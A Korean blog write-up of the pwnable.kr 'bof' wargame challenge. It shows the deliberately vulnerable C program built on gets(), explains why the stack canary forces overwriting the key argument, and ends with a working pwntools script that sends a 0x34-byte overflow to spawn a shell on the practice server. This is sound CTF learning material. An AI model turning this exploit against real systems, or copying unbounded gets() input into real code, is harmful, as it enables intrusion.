제리의 블로그

pwnable.kr bof 본문

Wargame/pwnable.kr

pwnable.kr bof

j3rrry 2018. 8. 24. 23:42

bof - 5 pt

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
gets() 함수가 입력 버퍼의 길이를 제한하지 않기 때문에
지역변수 overflow 의 크기 32를 넘어
RETURN ADDRESS 까지 덮을 수 있습니다.


# file bof
bof: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
32비트 바이너리이군요



void __cdecl func(int key)
{
  int v1; // eax@4
  char overflow; // [sp+1Ch] [bp-2Ch]@1
  int canary; // [sp+3Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  puts("overflow me : ");
  gets(&overflow);
  if ( key == 0xCAFEBABE )
    system("/bin/sh");
  else
    puts("Nah..");
  v1 = *MK_FP(__GS__, 20) ^ canary;
}

바이너리를 분석해보면 카나리가 존재함을 알 수 있는데요

이 때문에 RETURN ADDRESS 를 이용한 공격은 불가능합니다.

함수 에필로그 때, 카나리가 변조되었는지 검증하여

변조되었을 시 프로세스가 에러 핸들링되기 때문입니다.




대신에 key를 덮어서 0xCAFEBABE 로 변조시키면 됩니다.

key는 func() 함수에 매개변수로 전해지기 때문에

RETURN ADDRESS 보다도 뒤에 있습니다.

사실 RETURN ADDRESS 바로 뒤이죠.


mov     dword ptr [esp], 0DEADBEEFh ; a1
call    func


key까지 길이는

0x2C + 4 + 4 = 0x34




from pwn import *

r = remote('pwnable.kr', 9000)
#r.recvuntil("overflow me : ")
r.sendline('A'*0x34+p32(0xCAFEBABE))
r.interactive()


'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr passcode  (0) 2018.08.29
pwnable.kr flag  (0) 2018.08.29
pwnable.kr collision  (0) 2018.08.24
pwnable.kr fd  (0) 2018.08.24
pwnable.kr echo1  (0) 2018.08.22
Comments